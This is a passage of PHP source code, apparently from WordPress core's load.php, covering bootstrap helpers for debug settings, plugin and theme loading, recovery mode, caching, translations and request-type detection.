$enable_debug_mode Whether to enable debug mode checks to occur. Default true. */ if ( ! apply_filters( 'enable_wp_debug_mode_checks', true ) ) { return; } if ( WP_DEBUG ) { error_reporting( E_ALL ); if ( WP_DEBUG_DISPLAY ) { ini_set( 'display_errors', 1 ); } elseif ( null !== WP_DEBUG_DISPLAY ) { ini_set( 'display_errors', 0 ); } if ( in_array( strtolower( (string) WP_DEBUG_LOG ), array( 'true', '1' ), true ) ) { $log_path = WP_CONTENT_DIR . '/debug.log'; } elseif ( is_string( WP_DEBUG_LOG ) ) { $log_path = WP_DEBUG_LOG; } else { $log_path = false; } if ( $log_path ) { ini_set( 'log_errors', 1 ); ini_set( 'error_log', $log_path ); } } else { error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR ); } if ( defined( 'XMLRPC_REQUEST' ) || defined( 'REST_REQUEST' ) || ( defined( 'WP_INSTALLING' ) && WP_INSTALLING ) || wp_doing_ajax() || wp_is_json_request() ) { ini_set( 'display_errors', 0 ); } } /** * Set the location of the language directory. * * To set directory manually, define the `WP_LANG_DIR` constant * in wp-config.php. * * If the language directory exists within `WP_CONTENT_DIR`, it * is used. Otherwise the language directory is assumed to live * in `WPINC`. * * @since 3.0.0 * @access private */ function wp_set_lang_dir() { if ( ! defined( 'WP_LANG_DIR' ) ) { if ( file_exists( WP_CONTENT_DIR . '/languages' ) && @is_dir( WP_CONTENT_DIR . '/languages' ) || ! @is_dir( ABSPATH . WPINC . '/languages' ) ) { /** * Server path of the language directory. * * No leading slash, no trailing slash, full path, not relative to ABSPATH * * @since 2.1.0 */ define( 'WP_LANG_DIR', WP_CONTENT_DIR . '/languages' ); if ( ! defined( 'LANGDIR' ) ) { // Old static relative path maintained for limited backward compatibility - won't work in some cases. define( 'LANGDIR', 'wp-content/languages' ); } } else { /** * Server path of the language directory. * * No leading slash, no trailing slash, full path, not relative to `ABSPATH`. * * @since 2.1.0 */ define( 'WP_LANG_DIR', ABSPATH . WPINC . '/languages' ); if ( ! defined( 'LANGDIR' ) ) { // Old relative path maintained for backward compatibility. define( 'LANGDIR', WPINC . '/languages' ); } } } } /** * Load the database class file and instantiate the `$wpdb` global. * * @since 2.5.0 * * @global wpdb $wpdb WordPress database abstraction object. */ function require_wp_db() { global $wpdb; require_once ABSPATH . WPINC . '/wp-db.php'; if ( file_exists( WP_CONTENT_DIR . '/db.php' ) ) { require_once WP_CONTENT_DIR . '/db.php'; } if ( isset( $wpdb ) ) { return; } $dbuser = defined( 'DB_USER' ) ? DB_USER : ''; $dbpassword = defined( 'DB_PASSWORD' ) ? DB_PASSWORD : ''; $dbname = defined( 'DB_NAME' ) ? DB_NAME : ''; $dbhost = defined( 'DB_HOST' ) ? DB_HOST : ''; $wpdb = new wpdb( $dbuser, $dbpassword, $dbname, $dbhost ); } /** * Set the database table prefix and the format specifiers for database * table columns. * * Columns not listed here default to `%s`. * * @since 3.0.0 * @access private * * @global wpdb $wpdb WordPress database abstraction object. * @global string $table_prefix The database table prefix. */ function wp_set_wpdb_vars() { global $wpdb, $table_prefix; if ( ! empty( $wpdb->error ) ) { dead_db(); } $wpdb->field_types = array( 'post_author' => '%d', 'post_parent' => '%d', 'menu_order' => '%d', 'term_id' => '%d', 'term_group' => '%d', 'term_taxonomy_id' => '%d', 'parent' => '%d', 'count' => '%d', 'object_id' => '%d', 'term_order' => '%d', 'ID' => '%d', 'comment_ID' => '%d', 'comment_post_ID' => '%d', 'comment_parent' => '%d', 'user_id' => '%d', 'link_id' => '%d', 'link_owner' => '%d', 'link_rating' => '%d', 'option_id' => '%d', 'blog_id' => '%d', 'meta_id' => '%d', 'post_id' => '%d', 'user_status' => '%d', 'umeta_id' => '%d', 'comment_karma' => '%d', 'comment_count' => '%d', // Multisite: 'active' => '%d', 'cat_id' => '%d', 'deleted' => '%d', 'lang_id' => '%d', 'mature' => '%d', 'public' => '%d', 'site_id' => '%d', 'spam' => '%d', ); $prefix = $wpdb->set_prefix( $table_prefix ); if ( is_wp_error( $prefix ) ) { wp_load_translations_early(); wp_die( sprintf( /* translators: 1: $table_prefix, 2: wp-config.php */ __( 'Error: %1$s in %2$s can only contain numbers, letters, and underscores.' ), '$table_prefix', 'wp-config.php' ) ); } } /** * Toggle `$_wp_using_ext_object_cache` on and off without directly * touching global. * * @since 3.7.0 * * @global bool $_wp_using_ext_object_cache * * @param bool $using Whether external object cache is being used. * @return bool The current 'using' setting. */ function wp_using_ext_object_cache( $using = null ) { global $_wp_using_ext_object_cache; $current_using = $_wp_using_ext_object_cache; if ( null !== $using ) { $_wp_using_ext_object_cache = $using; } return $current_using; } /** * Start the WordPress object cache. * * If an object-cache.php file exists in the wp-content directory, * it uses that drop-in as an external object cache. * * @since 3.0.0 * @access private * * @global array $wp_filter Stores all of the filters. */ function wp_start_object_cache() { global $wp_filter; static $first_init = true; // Only perform the following checks once. if ( $first_init ) { if ( ! function_exists( 'wp_cache_init' ) ) { /* * This is the normal situation. First-run of this function. No * caching backend has been loaded. * * We try to load a custom caching backend, and then, if it * results in a wp_cache_init() function existing, we note * that an external object cache is being used. */ if ( file_exists( WP_CONTENT_DIR . '/object-cache.php' ) ) { require_once WP_CONTENT_DIR . '/object-cache.php'; if ( function_exists( 'wp_cache_init' ) ) { wp_using_ext_object_cache( true ); } // Re-initialize any hooks added manually by object-cache.php. if ( $wp_filter ) { $wp_filter = WP_Hook::build_preinitialized_hooks( $wp_filter ); } } } elseif ( ! wp_using_ext_object_cache() && file_exists( WP_CONTENT_DIR . '/object-cache.php' ) ) { /* * Sometimes advanced-cache.php can load object-cache.php before * this function is run. This breaks the function_exists() check * above and can result in wp_using_ext_object_cache() returning * false when actually an external cache is in use. */ wp_using_ext_object_cache( true ); } } if ( ! wp_using_ext_object_cache() ) { require_once ABSPATH . WPINC . '/cache.php'; } /* * If cache supports reset, reset instead of init if already * initialized. Reset signals to the cache that global IDs * have changed and it may need to update keys and cleanup caches. */ if ( ! $first_init && function_exists( 'wp_cache_switch_to_blog' ) ) { wp_cache_switch_to_blog( get_current_blog_id() ); } elseif ( function_exists( 'wp_cache_init' ) ) { wp_cache_init(); } if ( function_exists( 'wp_cache_add_global_groups' ) ) { wp_cache_add_global_groups( array( 'users', 'userlogins', 'usermeta', 'user_meta', 'useremail', 'userslugs', 'site-transient', 'site-options', 'blog-lookup', 'blog-details', 'site-details', 'rss', 'global-posts', 'blog-id-cache', 'networks', 'sites', 'blog_meta' ) ); wp_cache_add_non_persistent_groups( array( 'counts', 'plugins' ) ); } $first_init = false; } /** * Redirect to the installer if WordPress is not installed. * * Dies with an error message when Multisite is enabled. * * @since 3.0.0 * @access private */ function wp_not_installed() { if ( is_multisite() ) { if ( ! is_blog_installed() && ! wp_installing() ) { nocache_headers(); wp_die( __( 'The site you have requested is not installed properly. Please contact the system administrator.' ) ); } } elseif ( ! is_blog_installed() && ! wp_installing() ) { nocache_headers(); require ABSPATH . WPINC . '/kses.php'; require ABSPATH . WPINC . '/pluggable.php'; $link = wp_guess_url() . '/wp-admin/install.php'; wp_redirect( $link ); die(); } } /** * Retrieve an array of must-use plugin files. * * The default directory is wp-content/mu-plugins. To change the default * directory manually, define `WPMU_PLUGIN_DIR` and `WPMU_PLUGIN_URL` * in wp-config.php. * * @since 3.0.0 * @access private * * @return string[] Array of absolute paths of files to include. */ function wp_get_mu_plugins() { $mu_plugins = array(); if ( ! is_dir( WPMU_PLUGIN_DIR ) ) { return $mu_plugins; } $dh = opendir( WPMU_PLUGIN_DIR ); if ( ! $dh ) { return $mu_plugins; } while ( ( $plugin = readdir( $dh ) ) !== false ) { if ( substr( $plugin, -4 ) == '.php' ) { $mu_plugins[] = WPMU_PLUGIN_DIR . '/' . $plugin; } } closedir( $dh ); sort( $mu_plugins ); return $mu_plugins; } /** * Retrieve an array of active and valid plugin files. * * While upgrading or installing WordPress, no plugins are returned. * * The default directory is `wp-content/plugins`. To change the default * directory manually, define `WP_PLUGIN_DIR` and `WP_PLUGIN_URL` * in `wp-config.php`. * * @since 3.0.0 * @access private * * @return string[] $plugin_file Array of paths to plugin files relative to the plugins directory. */ function wp_get_active_and_valid_plugins() { $plugins = array(); $active_plugins = (array) get_option( 'active_plugins', array() ); // Check for hacks file if the option is enabled. if ( get_option( 'hack_file' ) && file_exists( ABSPATH . 'my-hacks.php' ) ) { _deprecated_file( 'my-hacks.php', '1.5.0' ); array_unshift( $plugins, ABSPATH . 'my-hacks.php' ); } if ( empty( $active_plugins ) || wp_installing() ) { return $plugins; } $network_plugins = is_multisite() ? wp_get_active_network_plugins() : false; foreach ( $active_plugins as $plugin ) { if ( ! validate_file( $plugin ) // $plugin must validate as file. && '.php' == substr( $plugin, -4 ) // $plugin must end with '.php'. && file_exists( WP_PLUGIN_DIR . '/' . $plugin ) // $plugin must exist. // Not already included as a network plugin. && ( ! $network_plugins || ! in_array( WP_PLUGIN_DIR . '/' . $plugin, $network_plugins ) ) ) { $plugins[] = WP_PLUGIN_DIR . '/' . $plugin; } } /* * Remove plugins from the list of active plugins when we're on an endpoint * that should be protected against WSODs and the plugin is paused. */ if ( wp_is_recovery_mode() ) { $plugins = wp_skip_paused_plugins( $plugins ); } return $plugins; } /** * Filters a given list of plugins, removing any paused plugins from it. * * @since 5.2.0 * * @param string[] $plugins Array of absolute plugin main file paths. * @return string[] Filtered array of plugins, without any paused plugins. */ function wp_skip_paused_plugins( array $plugins ) { $paused_plugins = wp_paused_plugins()->get_all(); if ( empty( $paused_plugins ) ) { return $plugins; } foreach ( $plugins as $index => $plugin ) { list( $plugin ) = explode( '/', plugin_basename( $plugin ) ); if ( array_key_exists( $plugin, $paused_plugins ) ) { unset( $plugins[ $index ] ); // Store list of paused plugins for displaying an admin notice. $GLOBALS['_paused_plugins'][ $plugin ] = $paused_plugins[ $plugin ]; } } return $plugins; } /** * Retrieves an array of active and valid themes. * * While upgrading or installing WordPress, no themes are returned. * * @since 5.1.0 * @access private * * @return string[] Array of absolute paths to theme directories. */ function wp_get_active_and_valid_themes() { global $pagenow; $themes = array(); if ( wp_installing() && 'wp-activate.php' !== $pagenow ) { return $themes; } if ( TEMPLATEPATH !== STYLESHEETPATH ) { $themes[] = STYLESHEETPATH; } $themes[] = TEMPLATEPATH; /* * Remove themes from the list of active themes when we're on an endpoint * that should be protected against WSODs and the theme is paused. */ if ( wp_is_recovery_mode() ) { $themes = wp_skip_paused_themes( $themes ); // If no active and valid themes exist, skip loading themes. if ( empty( $themes ) ) { add_filter( 'wp_using_themes', '__return_false' ); } } return $themes; } /** * Filters a given list of themes, removing any paused themes from it. * * @since 5.2.0 * * @param string[] $themes Array of absolute theme directory paths. * @return string[] Filtered array of absolute paths to themes, without any paused themes. */ function wp_skip_paused_themes( array $themes ) { $paused_themes = wp_paused_themes()->get_all(); if ( empty( $paused_themes ) ) { return $themes; } foreach ( $themes as $index => $theme ) { $theme = basename( $theme ); if ( array_key_exists( $theme, $paused_themes ) ) { unset( $themes[ $index ] ); // Store list of paused themes for displaying an admin notice. $GLOBALS['_paused_themes'][ $theme ] = $paused_themes[ $theme ]; } } return $themes; } /** * Is WordPress in Recovery Mode. * * In this mode, plugins or themes that cause WSODs will be paused. * * @since 5.2.0 * * @return bool */ function wp_is_recovery_mode() { return wp_recovery_mode()->is_active(); } /** * Determines whether we are currently on an endpoint that should be protected against WSODs. * * @since 5.2.0 * * @return bool True if the current endpoint should be protected. */ function is_protected_endpoint() { // Protect login pages. if ( isset( $GLOBALS['pagenow'] ) && 'wp-login.php' === $GLOBALS['pagenow'] ) { return true; } // Protect the admin backend. if ( is_admin() && ! wp_doing_ajax() ) { return true; } // Protect AJAX actions that could help resolve a fatal error should be available. if ( is_protected_ajax_action() ) { return true; } /** * Filters whether the current request is against a protected endpoint. * * This filter is only fired when an endpoint is requested which is not already protected by * WordPress core. As such, it exclusively allows providing further protected endpoints in * addition to the admin backend, login pages and protected AJAX actions. * * @since 5.2.0 * * @param bool $is_protected_endpoint Whether the currently requested endpoint is protected. Default false. */ return (bool) apply_filters( 'is_protected_endpoint', false ); } /** * Determines whether we are currently handling an AJAX action that should be protected against WSODs. * * @since 5.2.0 * * @return bool True if the current AJAX action should be protected. */ function is_protected_ajax_action() { if ( ! wp_doing_ajax() ) { return false; } if ( ! isset( $_REQUEST['action'] ) ) { return false; } $actions_to_protect = array( 'edit-theme-plugin-file', // Saving changes in the core code editor. 'heartbeat', // Keep the heart beating. 'install-plugin', // Installing a new plugin. 'install-theme', // Installing a new theme. 'search-plugins', // Searching in the list of plugins. 'search-install-plugins', // Searching for a plugin in the plugin install screen. 'update-plugin', // Update an existing plugin. 'update-theme', // Update an existing theme. ); /** * Filters the array of protected AJAX actions. * * This filter is only fired when doing AJAX and the AJAX request has an 'action' property. * * @since 5.2.0 * * @param string[] $actions_to_protect Array of strings with AJAX actions to protect. */ $actions_to_protect = (array) apply_filters( 'wp_protected_ajax_actions', $actions_to_protect ); if ( ! in_array( $_REQUEST['action'], $actions_to_protect, true ) ) { return false; } return true; } /** * Set internal encoding. * * In most cases the default internal encoding is latin1, which is * of no use, since we want to use the `mb_` functions for `utf-8` strings. * * @since 3.0.0 * @access private */ function wp_set_internal_encoding() { if ( function_exists( 'mb_internal_encoding' ) ) { $charset = get_option( 'blog_charset' ); // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged if ( ! $charset || ! @mb_internal_encoding( $charset ) ) { mb_internal_encoding( 'UTF-8' ); } } } /** * Add magic quotes to `$_GET`, `$_POST`, `$_COOKIE`, and `$_SERVER`. * * Also forces `$_REQUEST` to be `$_GET + $_POST`. If `$_SERVER`, * `$_COOKIE`, or `$_ENV` are needed, use those superglobals directly. * * @since 3.0.0 * @access private */ function wp_magic_quotes() { // Escape with wpdb. $_GET = add_magic_quotes( $_GET ); $_POST = add_magic_quotes( $_POST ); $_COOKIE = add_magic_quotes( $_COOKIE ); $_SERVER = add_magic_quotes( $_SERVER ); /* * Revert the type change to string for two indexes which should retain their proper type. * Among other things, this preserves compatibility of WP with PHPUnit Code Coverage generation. */ if ( isset( $_SERVER['REQUEST_TIME'] ) ) { $_SERVER['REQUEST_TIME'] = (int) $_SERVER['REQUEST_TIME']; } if ( isset( $_SERVER['REQUEST_TIME_FLOAT'] ) ) { $_SERVER['REQUEST_TIME_FLOAT'] = (float) $_SERVER['REQUEST_TIME_FLOAT']; } // Force REQUEST to be GET + POST. $_REQUEST = array_merge( $_GET, $_POST ); } /** * Runs just before PHP shuts down execution. * * @since 1.2.0 * @access private */ function shutdown_action_hook() { /** * Fires just before PHP shuts down execution. * * @since 1.2.0 */ do_action( 'shutdown' ); wp_cache_close(); } /** * Copy an object. * * @since 2.7.0 * @deprecated 3.2.0 * * @param object $object The object to clone. * @return object The cloned object. */ function wp_clone( $object ) { // Use parens for clone to accommodate PHP 4. See #17880. return clone( $object ); } /** * Determines whether the current request is for an administrative interface page. * * Does not check if the user is an administrator; use current_user_can() * for checking roles and capabilities. * * For more information on this and similar theme functions, check out * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 1.5.1 * * @global WP_Screen $current_screen WordPress current screen object. * * @return bool True if inside WordPress administration interface, false otherwise. */ function is_admin() { if ( isset( $GLOBALS['current_screen'] ) ) { return $GLOBALS['current_screen']->in_admin(); } elseif ( defined( 'WP_ADMIN' ) ) { return WP_ADMIN; } return false; } /** * Whether the current request is for a site's administrative interface. * * e.g. `/wp-admin/` * * Does not check if the user is an administrator; use current_user_can() * for checking roles and capabilities. * * @since 3.1.0 * * @global WP_Screen $current_screen WordPress current screen object. * * @return bool True if inside WordPress blog administration pages. */ function is_blog_admin() { if ( isset( $GLOBALS['current_screen'] ) ) { return $GLOBALS['current_screen']->in_admin( 'site' ); } elseif ( defined( 'WP_BLOG_ADMIN' ) ) { return WP_BLOG_ADMIN; } return false; } /** * Whether the current request is for the network administrative interface. * * e.g. `/wp-admin/network/` * * Does not check if the user is an administrator; use current_user_can() * for checking roles and capabilities. * * Does not check if the site is a Multisite network; use is_multisite() * for checking if Multisite is enabled. * * @since 3.1.0 * * @global WP_Screen $current_screen WordPress current screen object. * * @return bool True if inside WordPress network administration pages. */ function is_network_admin() { if ( isset( $GLOBALS['current_screen'] ) ) { return $GLOBALS['current_screen']->in_admin( 'network' ); } elseif ( defined( 'WP_NETWORK_ADMIN' ) ) { return WP_NETWORK_ADMIN; } return false; } /** * Whether the current request is for a user admin screen. * * e.g. `/wp-admin/user/` * * Does not check if the user is an administrator; use current_user_can() * for checking roles and capabilities. * * @since 3.1.0 * * @global WP_Screen $current_screen WordPress current screen object. * * @return bool True if inside WordPress user administration pages. */ function is_user_admin() { if ( isset( $GLOBALS['current_screen'] ) ) { return $GLOBALS['current_screen']->in_admin( 'user' ); } elseif ( defined( 'WP_USER_ADMIN' ) ) { return WP_USER_ADMIN; } return false; } /** * If Multisite is enabled. * * @since 3.0.0 * * @return bool True if Multisite is enabled, false otherwise. */ function is_multisite() { if ( defined( 'MULTISITE' ) ) { return MULTISITE; } if ( defined( 'SUBDOMAIN_INSTALL' ) || defined( 'VHOST' ) || defined( 'SUNRISE' ) ) { return true; } return false; } /** * Retrieve the current site ID. * * @since 3.1.0 * * @global int $blog_id * * @return int Site ID. */ function get_current_blog_id() { global $blog_id; return absint( $blog_id ); } /** * Retrieves the current network ID. * * @since 4.6.0 * * @return int The ID of the current network. */ function get_current_network_id() { if ( ! is_multisite() ) { return 1; } $current_network = get_network(); if ( ! isset( $current_network->id ) ) { return get_main_network_id(); } return absint( $current_network->id ); } /** * Attempt an early load of translations. * * Used for errors encountered during the initial loading process, before * the locale has been properly detected and loaded. * * Designed for unusual load sequences (like setup-config.php) or for when * the script will then terminate with an error, otherwise there is a risk * that a file can be double-included. * * @since 3.4.0 * @access private * * @global WP_Locale $wp_locale WordPress date and time locale object. * * @staticvar bool $loaded */ function wp_load_translations_early() { global $wp_locale; static $loaded = false; if ( $loaded ) { return; } $loaded = true; if ( function_exists( 'did_action' ) && did_action( 'init' ) ) { return; } // We need $wp_local_package. require ABSPATH . WPINC . '/version.php'; // Translation and localization. require_once ABSPATH . WPINC . '/pomo/mo.php'; require_once ABSPATH . WPINC . '/l10n.php'; require_once ABSPATH . WPINC . '/class-wp-locale.php'; require_once ABSPATH . WPINC . '/class-wp-locale-switcher.php'; // General libraries. require_once ABSPATH . WPINC . '/plugin.php'; $locales = array(); $locations = array(); while ( true ) { if ( defined( 'WPLANG' ) ) { if ( '' == WPLANG ) { break; } $locales[] = WPLANG; } if ( isset( $wp_local_package ) ) { $locales[] = $wp_local_package; } if ( ! $locales ) { break; } if ( defined( 'WP_LANG_DIR' ) && @is_dir( WP_LANG_DIR ) ) { $locations[] = WP_LANG_DIR; } if ( defined( 'WP_CONTENT_DIR' ) && @is_dir( WP_CONTENT_DIR . '/languages' ) ) { $locations[] = WP_CONTENT_DIR . '/languages'; } if ( @is_dir( ABSPATH . 'wp-content/languages' ) ) { $locations[] = ABSPATH . 'wp-content/languages'; } if ( @is_dir( ABSPATH . WPINC . '/languages' ) ) { $locations[] = ABSPATH . WPINC . '/languages'; } if ( ! $locations ) { break; } $locations = array_unique( $locations ); foreach ( $locales as $locale ) { foreach ( $locations as $location ) { if ( file_exists( $location . '/' . $locale . '.mo' ) ) { load_textdomain( 'default', $location . '/' . $locale . '.mo' ); if ( defined( 'WP_SETUP_CONFIG' ) && file_exists( $location . '/admin-' . $locale . '.mo' ) ) { load_textdomain( 'default', $location . '/admin-' . $locale . '.mo' ); } break 2; } } } break; } $wp_locale = new WP_Locale(); } /** * Check or set whether WordPress is in "installation" mode. * * If the `WP_INSTALLING` constant is defined during the bootstrap, `wp_installing()` will default to `true`. * * @since 4.4.0 * * @staticvar bool $installing * * @param bool $is_installing Optional. True to set WP into Installing mode, false to turn Installing mode off. * Omit this parameter if you only want to fetch the current status. * @return bool True if WP is installing, otherwise false. When a `$is_installing` is passed, the function will * report whether WP was in installing mode prior to the change to `$is_installing`. */ function wp_installing( $is_installing = null ) { static $installing = null; // Support for the `WP_INSTALLING` constant, defined before WP is loaded. if ( is_null( $installing ) ) { $installing = defined( 'WP_INSTALLING' ) && WP_INSTALLING; } if ( ! is_null( $is_installing ) ) { $old_installing = $installing; $installing = $is_installing; return (bool) $old_installing; } return (bool) $installing; } /** * Determines if SSL is used. * * @since 2.6.0 * @since 4.6.0 Moved from functions.php to load.php. * * @return bool True if SSL, otherwise false. */ function is_ssl() { if ( isset( $_SERVER['HTTPS'] ) ) { if ( 'on' == strtolower( $_SERVER['HTTPS'] ) ) { return true; } if ( '1' == $_SERVER['HTTPS'] ) { return true; } } elseif ( isset( $_SERVER['SERVER_PORT'] ) && ( '443' == $_SERVER['SERVER_PORT'] ) ) { return true; } return false; } /** * Converts a shorthand byte value to an integer byte value. * * @since 2.3.0 * @since 4.6.0 Moved from media.php to load.php. * * @link https://www.php.net/manual/en/function.ini-get.php * @link https://www.php.net/manual/en/faq.using.php#faq.using.shorthandbytes * * @param string $value A (PHP ini) byte value, either shorthand or ordinary. * @return int An integer byte value. */ function wp_convert_hr_to_bytes( $value ) { $value = strtolower( trim( $value ) ); $bytes = (int) $value; if ( false !== strpos( $value, 'g' ) ) { $bytes *= GB_IN_BYTES; } elseif ( false !== strpos( $value, 'm' ) ) { $bytes *= MB_IN_BYTES; } elseif ( false !== strpos( $value, 'k' ) ) { $bytes *= KB_IN_BYTES; } // Deal with large (float) values which run into the maximum integer size. return min( $bytes, PHP_INT_MAX ); } /** * Determines whether a PHP ini value is changeable at runtime. * * @since 4.6.0 * * @staticvar array $ini_all * * @link https://www.php.net/manual/en/function.ini-get-all.php * * @param string $setting The name of the ini setting to check. * @return bool True if the value is changeable at runtime. False otherwise. */ function wp_is_ini_value_changeable( $setting ) { static $ini_all; if ( ! isset( $ini_all ) ) { $ini_all = false; // Sometimes `ini_get_all()` is disabled via the `disable_functions` option for "security purposes". if ( function_exists( 'ini_get_all' ) ) { $ini_all = ini_get_all(); } } // Bit operator to workaround https://bugs.php.net/bug.php?id=44936 which changes access level to 63 in PHP 5.2.6 - 5.2.17. if ( isset( $ini_all[ $setting ]['access'] ) && ( INI_ALL === ( $ini_all[ $setting ]['access'] & 7 ) || INI_USER === ( $ini_all[ $setting ]['access'] & 7 ) ) ) { return true; } // If we were unable to retrieve the details, fail gracefully to assume it's changeable. if ( ! is_array( $ini_all ) ) { return true; } return false; } /** * Determines whether the current request is a WordPress Ajax request. * * @since 4.7.0 * * @return bool True if it's a WordPress Ajax request, false otherwise. */ function wp_doing_ajax() { /** * Filters whether the current request is a WordPress Ajax request. * * @since 4.7.0 * * @param bool $wp_doing_ajax Whether the current request is a WordPress Ajax request. */ return apply_filters( 'wp_doing_ajax', defined( 'DOING_AJAX' ) && DOING_AJAX ); } /** * Determines whether the current request should use themes. * * @since 5.1.0 * * @return bool True if themes should be used, false otherwise. */ function wp_using_themes() { /** * Filters whether the current request should use themes. * * @since 5.1.0 * * @param bool $wp_using_themes Whether the current request should use themes. */ return apply_filters( 'wp_using_themes', defined( 'WP_USE_THEMES' ) && WP_USE_THEMES ); } /** * Determines whether the current request is a WordPress cron request. * * @since 4.8.0 * * @return bool True if it's a WordPress cron request, false otherwise. */ function wp_doing_cron() { /** * Filters whether the current request is a WordPress cron request. * * @since 4.8.0 * * @param bool $wp_doing_cron Whether the current request is a WordPress cron request. */ return apply_filters( 'wp_doing_cron', defined( 'DOING_CRON' ) && DOING_CRON ); } /** * Check whether variable is a WordPress Error. * * Returns true if $thing is an object of the WP_Error class. * * @since 2.1.0 * * @param mixed $thing Check if unknown variable is a WP_Error object. * @return bool True, if WP_Error. False, if not WP_Error. */ function is_wp_error( $thing ) { return ( $thing instanceof WP_Error ); } /** * Determines whether file modifications are allowed. * * @since 4.8.0 * * @param string $context The usage context. * @return bool True if file modification is allowed, false otherwise. */ function wp_is_file_mod_allowed( $context ) { /** * Filters whether file modifications are allowed. * * @since 4.8.0 * * @param bool $file_mod_allowed Whether file modifications are allowed. * @param string $context The usage context. */ return apply_filters( 'file_mod_allowed', ! defined( 'DISALLOW_FILE_MODS' ) || ! DISALLOW_FILE_MODS, $context ); } /** * Start scraping edited file errors. * * @since 4.9.0 */ function wp_start_scraping_edited_file_errors() { if ( ! isset( $_REQUEST['wp_scrape_key'] ) || ! isset( $_REQUEST['wp_scrape_nonce'] ) ) { return; } $key = substr( sanitize_key( wp_unslash( $_REQUEST['wp_scrape_key'] ) ), 0, 32 ); $nonce = wp_unslash( $_REQUEST['wp_scrape_nonce'] ); if ( get_transient( 'scrape_key_' . $key ) !== $nonce ) { echo "###### wp_scraping_result_start:$key ######"; echo wp_json_encode( array( 'code' => 'scrape_nonce_failure', 'message' => __( 'Scrape nonce check failed. Please try again.' ), ) ); echo "###### wp_scraping_result_end:$key ######"; die(); } if ( ! defined( 'WP_SANDBOX_SCRAPING' ) ) { define( 'WP_SANDBOX_SCRAPING', true ); } register_shutdown_function( 'wp_finalize_scraping_edited_file_errors', $key ); } /** * Finalize scraping for edited file errors. * * @since 4.9.0 * * @param string $scrape_key Scrape key. */ function wp_finalize_scraping_edited_file_errors( $scrape_key ) { $error = error_get_last(); echo "\n###### wp_scraping_result_start:$scrape_key ######\n"; if ( ! empty( $error ) && in_array( $error['type'], array( E_CORE_ERROR, E_COMPILE_ERROR, E_ERROR, E_PARSE, E_USER_ERROR, E_RECOVERABLE_ERROR ), true ) ) { $error = str_replace( ABSPATH, '', $error ); echo wp_json_encode( $error ); } else { echo wp_json_encode( true ); } echo "\n###### wp_scraping_result_end:$scrape_key ######\n"; } /** * Checks whether current request is a JSON request, or is expecting a JSON response. * * @since 5.0.0 * * @return bool True if `Accepts` or `Content-Type` headers contain `application/json`. * False otherwise. */ function wp_is_json_request() { if ( isset( $_SERVER['HTTP_ACCEPT'] ) && false !== strpos( $_SERVER['HTTP_ACCEPT'], 'application/json' ) ) { return true; } if ( isset( $_SERVER['CONTENT_TYPE'] ) && 'application/json' === $_SERVER['CONTENT_TYPE'] ) { return true; } return false; } /** * Checks whether current request is a JSONP request, or is expecting a JSONP response. * * @since 5.2.0 * * @return bool True if JSONP request, false otherwise. */ function wp_is_jsonp_request() { if ( ! isset( $_GET['_jsonp'] ) ) { return false; } if ( ! function_exists( 'wp_check_jsonp_callback' ) ) { require_once ABSPATH . WPINC . '/functions.php'; } $jsonp_callback = $_GET['_jsonp']; if ( ! wp_check_jsonp_callback( $jsonp_callback ) ) { return false; } /** This filter is documented in wp-includes/rest-api/class-wp-rest-server.php */ $jsonp_enabled = apply_filters( 'rest_jsonp_enabled', true ); return $jsonp_enabled; } /** * Checks whether current request is an XML request, or is expecting an XML response. * * @since 5.2.0 * * @return bool True if `Accepts` or `Content-Type` headers contain `text/xml` * or one of the related MIME types. False otherwise. */ function wp_is_xml_request() { $accepted = array( 'text/xml', 'application/rss+xml', 'application/atom+xml', 'application/rdf+xml', 'text/xml+oembed', 'application/xml+oembed', ); if ( isset( $_SERVER['HTTP_ACCEPT'] ) ) { foreach ( $accepted as $type ) { if ( false !== strpos( $_SERVER['HTTP_ACCEPT'], $type ) ) { return true; } } } if ( isset( $_SERVER['CONTENT_TYPE'] ) && in_array( $_SERVER['CONTENT_TYPE'], $accepted, true ) ) { return true; } return false; }